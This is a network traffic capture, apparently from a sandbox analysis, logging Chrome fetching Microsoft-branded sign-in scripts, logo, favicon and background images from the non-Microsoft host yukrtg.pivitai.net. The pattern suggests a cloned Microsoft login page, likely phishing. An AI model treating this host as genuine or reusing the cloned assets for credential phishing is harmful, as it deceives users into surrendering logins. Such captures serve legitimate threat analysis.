2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 44 65 76 69 63 65 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 72 65 74 75 72 6e 22 42 72 6f 6b 65 72 41 70 70 4e 6f 74 49 6e 73 74 61 6c 6c 65 64 44 65 76 69 63 65 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 22 3b 63 61 73 65 20 6f 2e 44 65 76 69 63 65 49 73 4e 6f 74 57 6f 72 6b 70 6c 61 63 65 4a 6f 69 6e 65 64 3a 72 65 74 75 72 6e 22 44 65 76 69 63 65 49 73 4e 6f 74 57 6f 72 6b 70 6c 61 63 65 4a 6f 69 6e 65 64 22 3b 63 61 73 65 20 6f 2e 44 65 76 69 63 65 49 73 4e 6f 74 57 6f 72 6b 70 6c 61 63 65 4a 6f 69 6e 65 64 46 6f 72 4d 61 6d 41 70 70 3a 72 65 74 75 72 6e 22 44 65 76 69 63 65 49 73 4e 6f 74 57 6f 72 6b 70 6c 61 63 65 4a 6f 69 6e 65 64 46 6f 72 4d 61 6d 41 70 70 22 3b 63 61 73 65 20 6f 2e 44 65 76 69 63 65 4e 6f 74 Data Ascii: DeviceAuthenticationFailed:return"BrokerAppNotInstalledDeviceAuthenticationFailed";case o.DeviceIsNotWorkplaceJoined:return"DeviceIsNotWorkplaceJoined";case o.DeviceIsNotWorkplaceJoinedForMamApp:return"DeviceIsNotWorkplaceJoinedForMamApp";case o.DeviceNot
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 70 74 3a 72 65 74 75 72 6e 22 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 70 70 52 65 67 69 73 74 72 61 74 69 6f 6e 45 6e 66 6f 72 63 65 6d 65 6e 74 49 6e 74 65 72 72 75 70 74 22 3b 63 61 73 65 20 6f 2e 55 73 65 72 53 74 72 6f 6e 67 41 75 74 68 45 6e 72 6f 6c 6c 6d 65 6e 74 52 65 71 75 69 72 65 64 49 6e 74 65 72 72 75 70 74 3a 72 65 74 75 72 6e 22 55 73 65 72 53 74 72 6f 6e 67 41 75 74 68 45 6e 72 6f 6c 6c 6d 65 6e 74 52 65 71 75 69 72 65 64 49 6e 74 65 72 72 75 70 74 22 3b 63 61 73 65 20 6f 2e 55 73 65 72 53 74 72 6f 6e 67 41 75 74 68 43 6c 69 65 6e 74 41 75 74 68 4e 52 65 71 75 69 72 65 64 49 6e 74 65 72 72 75 70 74 3a 72 65 74 75 72 6e 22 55 73 65 72 53 74 72 6f 6e 67 41 75 74 68 43 6c 69 65 6e 74 41 75 74 68 4e 52 65 71 75 69 72 65 64 49 6e 74 65 72 72 Data Ascii: pt:return"AuthenticatorAppRegistrationEnforcementInterrupt";case o.UserStrongAuthEnrollmentRequiredInterrupt:return"UserStrongAuthEnrollmentRequiredInterrupt";case o.UserStrongAuthClientAuthNRequiredInterrupt:return"UserStrongAuthClientAuthNRequiredInterr
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 70 6c 61 63 65 28 2f 3c 61 20 68 72 65 66 3d 22 2f 67 2c 27 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 27 29 7d 7d 2c 70 61 72 73 65 43 75 73 74 6f 6d 48 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 74 2b 22 2e 48 65 61 64 65 72 22 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 75 73 74 6f 6d 53 74 72 69 6e 67 52 65 73 6f 6c 76 65 72 28 65 2c 72 29 7d 2c 70 61 72 73 65 43 75 73 74 6f 6d 42 6f 64 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 74 2b 22 2e 42 6f 64 79 22 2c 6e 3d 74 68 69 73 2e 63 75 73 74 6f 6d 53 74 72 69 6e 67 52 65 73 6f 6c 76 65 72 28 65 2c 72 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 73 65 4d 61 72 6b 64 6f 77 6e 53 74 72 69 6e 67 28 6e 29 7d 7d 3b Data Ascii: place(/<a href="/g,'<a target="_blank" href="')}},parseCustomHeader:function(e,t){var r=t+".Header";return this.customStringResolver(e,r)},parseCustomBody:function(e,t){var r=t+".Body",n=this.customStringResolver(e,r);return this.parseMarkdownString(n)}};
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 6e 67 2e 63 61 6c 6c 28 65 29 7d 28 65 29 7d 2c 74 2e 68 61 73 3d 73 2c 74 2e 75 6e 65 73 63 61 70 65 4d 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 22 5c 5c 22 29 3c 30 3f 65 3a 65 2e 72 65 70 6c 61 63 65 28 61 2c 22 24 31 22 29 7d 2c 74 2e 75 6e 65 73 63 61 70 65 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 22 5c 5c 22 29 3c 30 26 26 65 2e 69 6e 64 65 78 4f 66 28 22 26 22 29 3c 30 3f 65 3a 65 2e 72 65 70 6c 61 63 65 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 30 3b 72 65 74 75 72 6e 20 73 28 6c 2c 74 29 3f 6c 5b 74 5d 3a 33 35 3d 3d 3d 74 2e 63 68 Data Ascii: ng.call(e)}(e)},t.has=s,t.unescapeMd=function(e){return e.indexOf("\\")<0?e:e.replace(a,"$1")},t.unescapeAll=function(e){return e.indexOf("\\")<0&&e.indexOf("&")<0?e:e.replace(c,(function(e,t,r){return t\|\|function(e,t){var r=0;return s(l,t)?l[t]:35===t.ch
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 72 43 61 73 65 28 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 7d 2c 36 30 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 2f 5b 21 2d 23 25 2d 5c 2a 2c 2d 5c 2f 3a 3b 5c 3f 40 5c 5b 2d 5c 5d 5f 5c 7b 5c 7d 5c 78 41 31 5c 78 41 37 5c 78 41 42 5c 78 42 36 5c 78 42 37 5c 78 42 42 5c 78 42 46 5c 75 30 33 37 45 5c 75 30 33 38 37 5c 75 30 35 35 41 2d 5c 75 30 35 35 46 5c 75 30 35 38 39 5c 75 30 35 38 41 5c 75 30 35 42 45 5c 75 30 35 43 30 5c 75 30 35 43 33 5c 75 30 35 43 36 5c 75 30 35 46 33 5c 75 30 35 46 34 5c 75 30 36 30 39 5c 75 30 36 30 41 5c 75 30 36 30 43 5c 75 30 36 30 44 5c 75 30 36 31 42 5c 75 30 36 31 45 5c 75 30 36 31 46 5c 75 30 36 36 41 2d 5c 75 30 36 36 44 5c 75 30 36 44 34 5c 75 30 37 30 30 2d 5c 75 30 37 30 44 Data Ascii: rCase().toUpperCase()}},608:function(e,t){e.exports=/[!-#%-\*,-\/:;\?@\[-\]_\{\}\xA1\xA7\xAB\xB6\xB7\xBB\xBF\u037E\u0387\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061E\u061F\u066A-\u066D\u06D4\u0700-\u070D
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 7c 5c 75 44 38 30 32 5b 5c 75 44 43 35 37 5c 75 44 44 31 46 5c 75 44 44 33 46 5c 75 44 45 35 30 2d 5c 75 44 45 35 38 5c 75 44 45 37 46 5c 75 44 45 46 30 2d 5c 75 44 45 46 36 5c 75 44 46 33 39 2d 5c 75 44 46 33 46 5c 75 44 46 39 39 2d 5c 75 44 46 39 43 5d 7c 5c 75 44 38 30 33 5b 5c 75 44 46 35 35 2d 5c 75 44 46 35 39 5d 7c 5c 75 44 38 30 34 5b 5c 75 44 43 34 37 2d 5c 75 44 43 34 44 5c 75 44 43 42 42 5c 75 44 43 42 43 5c 75 44 43 42 45 2d 5c 75 44 43 43 31 5c 75 44 44 34 30 2d 5c 75 44 44 34 33 5c 75 44 44 37 34 5c 75 44 44 37 35 5c 75 44 44 43 35 2d 5c 75 44 44 43 38 5c 75 44 44 43 44 5c 75 44 44 44 42 5c 75 44 44 44 44 2d 5c 75 44 44 44 46 5c 75 44 45 33 38 2d 5c 75 44 45 33 44 5c 75 44 45 41 39 5d 7c 5c 75 44 38 30 35 5b 5c 75 44 43 34 42 2d 5c 75 44 43 Data Ascii: \|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]\|\uD803[\uDF55-\uDF59]\|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC8\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]\|\uD805[\uDC4B-\uDC
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 50 61 72 73 65 72 20 72 75 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 3a 20 22 2b 65 29 3b 74 68 69 73 2e 5f 5f 72 75 6c 65 73 5f 5f 2e 73 70 6c 69 63 65 28 73 2c 30 2c 7b 6e 61 6d 65 3a 74 2c 65 6e 61 62 6c 65 64 3a 21 30 2c 66 6e 3a 72 2c 61 6c 74 3a 6f 2e 61 6c 74 7c 7c 5b 5d 7d 29 2c 74 68 69 73 2e 5f 5f 63 61 63 68 65 5f 5f 3d 6e 75 6c 6c 7d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 61 66 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 2c 6e 29 7b 76 61 72 20 73 3d 74 68 69 73 2e 5f 5f 66 69 6e 64 5f 5f 28 65 29 2c 6f 3d 6e 7c 7c 7b 7d 3b 69 66 28 2d 31 3d 3d 3d 73 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 50 61 72 73 65 72 20 72 75 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 3a 20 22 2b 65 29 3b 74 68 Data Ascii: hrow new Error("Parser rule not found: "+e);this.__rules__.splice(s,0,{name:t,enabled:!0,fn:r,alt:o.alt\|\|[]}),this.__cache__=null},n.prototype.after=function(e,t,r,n){var s=this.__find__(e),o=n\|\|{};if(-1===s)throw new Error("Parser rule not found: "+e);th
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 72 2c 74 68 69 73 2e 6c 65 76 65 6c 3d 30 2c 74 68 69 73 2e 63 68 69 6c 64 72 65 6e 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6e 74 65 6e 74 3d 22 22 2c 74 68 69 73 2e 6d 61 72 6b 75 70 3d 22 22 2c 74 68 69 73 2e 69 6e 66 6f 3d 22 22 2c 74 68 69 73 2e 6d 65 74 61 3d 6e 75 6c 6c 2c 74 68 69 73 2e 62 6c 6f 63 6b 3d 21 31 2c 74 68 69 73 2e 68 69 64 64 65 6e 3d 21 31 7d 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 72 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 2c 6e 3b 69 66 28 21 74 68 69 73 2e 61 74 74 72 73 29 72 65 74 75 72 6e 2d 31 3b 66 6f 72 28 72 3d 30 2c 6e 3d 28 74 3d 74 68 69 73 2e 61 74 74 72 73 29 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 69 66 28 74 5b 72 5d 5b 30 5d 3d 3d 3d 65 29 72 65 74 75 72 6e 20 72 3b 72 Data Ascii: r,this.level=0,this.children=null,this.content="",this.markup="",this.info="",this.meta=null,this.block=!1,this.hidden=!1}n.prototype.attrIndex=function(e){var t,r,n;if(!this.attrs)return-1;for(r=0,n=(t=this.attrs).length;r<n;r++)if(t[r][0]===e)return r;r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49748	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:28 UTC	507	OUT	GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:29 UTC	1116	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:29 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116793 Cache-Control: public, max-age=31536000 Content-Md5: 5YqvyYBhSpzXeWvqe16o8A== Etag: 0x8DB5C3F41C14038 Last-Modified: Wed, 24 May 2023 10:11:35 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 7d813ca0-701e-00d0-620f-7e6e40000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iRgAQlbB2ITwI6nT4gL8%2FHwDfaD%2FxVnOskL8C%2FsuryAl8xsjN%2BQwERwgwyTnagHqzvq%2F4v5mT%2FmmK5zrmoJgs%2BSGXYQUZWdOb%2BAwkG88sBQDn5aoHhkKIubss%2BwNtGnaCvsG8Rw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94323cfe31283-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:29 UTC	253	IN	Data Raw: 33 64 62 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: 3dbJFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC
2024-04-26 20:18:29 UTC	741	IN	Data Raw: 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 00 1c 00 32 03 01 21 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 Data Ascii: 2!}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2024-04-26 20:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49747	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:28 UTC	498	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:29 UTC	1149	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:29 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116793 Cache-Control: public, max-age=31536000 Content-Md5: nzaLxFgP7ZB3dfMcaybWzw== Etag: 0x8DB5C3F495F4B8C Last-Modified: Wed, 24 May 2023 10:11:48 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 938dd70e-b01e-001c-61d1-7e1e1d000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CB0lX4IzoJQdI36WFiY8pHdBX%2BhELRddO4mh6IvbIDAUqNeekyNSNBwu89ZS23UKgFqX63a4sxyPR1nKuAz1snHFBcXCmuOmLDhLdAe1WU5%2FaLR%2FcXqJow0gCLOcqP%2BUtI5Kd6U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94323cda067db-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:29 UTC	220	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.8
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 2c 30 2c 31 2c 2e 34 31 39 2d 2e 39 36 37 2c 31 2e 34 31 33 2c 31 2e 34 31 33 2c 30 2c 30 2c 31 2c 31 2d 2e 33 39 2c 31 2e 33 39 32 2c 31 2e 33 39 32 2c 30 2c 30 2c 31 2c 31 2e 30 32 2e 34 2c 31 2e 33 2c 31 2e 33 2c 30 2c 30 2c 31 2c 2e 34 2e 39 35 38 2c 31 2e 32 34 38 2c 31 2e 32 34 38 2c 30 2c 30 2c 31 2d 2e 34 31 34 2e 39 35 33 2c 31 2e 34 32 38 2c 31 2e 34 32 38 2c 30 2c 30 2c 31 2d 31 2e 30 31 2e 33 38 35 41 31 2e 34 2c 31 2e 34 2c 30 2c 30 2c 31 2c 34 37 2e 32 35 2c 36 2e 36 61 31 2e 32 36 31 2c 31 2e 32 36 31 2c 30 2c 30 2c 31 2d 2e 34 30 39 2d 2e 39 34 38 4d 34 39 2e 34 31 2c 31 38 2e 34 48 34 37 2e 30 38 31 56 38 2e 35 30 37 48 Data Ascii: 3h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 2c 32 2e 33 38 39 2c 30 2c 30 2c 30 2d 31 2e 39 32 39 2d 2e 38 31 33 2c 32 2e 34 34 2c 32 2e 34 34 2c 30 2c 30 2c 30 2d 31 2e 39 38 38 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 2e 37 30 37 2c 32 2e 34 33 6d 31 31 2e 32 2d 32 2e 34 31 36 61 31 2c 31 2c 30 2c 30 2c 30 2c 2e 33 31 38 2e 37 38 35 2c 35 2e 34 32 36 2c 35 2e 34 32 36 2c 30 2c 30 2c 30 2c 31 2e 34 2e 37 31 37 2c 34 2e 37 36 37 2c 34 2e 37 36 37 2c 30 2c 30 2c 31 2c 31 2e 39 35 39 2c 31 2e 32 35 36 2c 32 2e 36 2c 32 2e 36 2c 30 2c 30 2c 31 2c 2e 35 36 33 2c 31 2e 36 38 39 41 32 2e 37 31 35 2c 32 2e 37 31 35 2c 30 2c 30 2c 31 2c 38 33 2e 32 2c 31 37 2e 37 39 34 61 34 2e 35 35 38 2c 34 2e 35 35 38 2c 30 2c 30 2c 31 2d 32 2e 39 2e 38 34 37 2c 36 2e 39 37 38 2c 36 2e 39 37 Data Ascii: ,2.389,0,0,0-1.929-.813,2.44,2.44,0,0,0-1.988.852,3.707,3.707,0,0,0-.707,2.43m11.2-2.416a1,1,0,0,0,.318.785,5.426,5.426,0,0,0,1.4.717,4.767,4.767,0,0,1,1.959,1.256,2.6,2.6,0,0,1,.563,1.689A2.715,2.715,0,0,1,83.2,17.794a4.558,4.558,0,0,1-2.9.847,6.978,6.97
2024-04-26 20:18:29 UTC	700	IN	Data Raw: 39 33 2c 30 2c 30 2c 31 2c 2e 35 37 37 2e 31 33 56 35 2e 37 36 34 61 32 2e 34 32 32 2c 32 2e 34 32 32 2c 30 2c 30 2c 30 2d 2e 34 2d 2e 31 36 34 2c 32 2e 31 30 37 2c 32 2e 31 30 37 2c 30 2c 30 2c 30 2d 2e 36 36 34 2d 2e 31 2c 31 2e 34 30 37 2c 31 2e 34 30 37 2c 30 2c 30 2c 30 2d 31 2e 31 32 36 2e 34 35 37 41 32 2e 30 31 37 2c 32 2e 30 31 37 2c 30 2c 30 2c 30 2c 39 39 2e 37 2c 37 2e 33 31 33 56 38 2e 35 30 37 68 33 2e 34 36 39 56 36 2e 32 38 33 6c 32 2e 33 33 39 2d 2e 37 31 32 56 38 2e 35 30 37 68 32 2e 33 35 38 76 31 2e 39 30 36 68 2d 32 2e 33 35 38 76 34 2e 36 32 39 61 31 2e 39 35 31 2c 31 2e 39 35 31 2c 30 2c 30 2c 30 2c 2e 33 33 32 2c 31 2e 32 39 2c 31 2e 33 32 36 2c 31 2e 33 32 36 2c 30 2c 30 2c 30 2c 31 2e 30 34 34 2e 33 37 35 2c 31 2e 35 35 37 2c 31 Data Ascii: 93,0,0,1,.577.13V5.764a2.422,2.422,0,0,0-.4-.164,2.107,2.107,0,0,0-.664-.1,1.407,1.407,0,0,0-1.126.457A2.017,2.017,0,0,0,99.7,7.313V8.507h3.469V6.283l2.339-.712V8.507h2.358v1.906h-2.358v4.629a1.951,1.951,0,0,0,.332,1.29,1.326,1.326,0,0,0,1.044.375,1.557,1
2024-04-26 20:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49749	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:28 UTC	484	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:29 UTC	1114	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:29 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116793 Cache-Control: public, max-age=31536000 Content-Md5: EuPayFgGHQiAI7K9SOL6lg== Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 76171af5-801e-00d7-3bd1-7ebf4e000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BkXu2wT2fxpWdLWlXwwg1FYBU%2Fn8cOCnO09jpFVJK2AyLfDe%2FwljijS6Tiqp5tR%2FPnNMfsr9wJXtcYa%2BJ9JtESI%2BQqxSYoo6w7dGbydj0O7CsgCPDG%2FOSVIQzDldIjIeiY0qT70%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94323c93725b8-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:29 UTC	255	IN	Data Raw: 34 33 31 36 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 4316h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
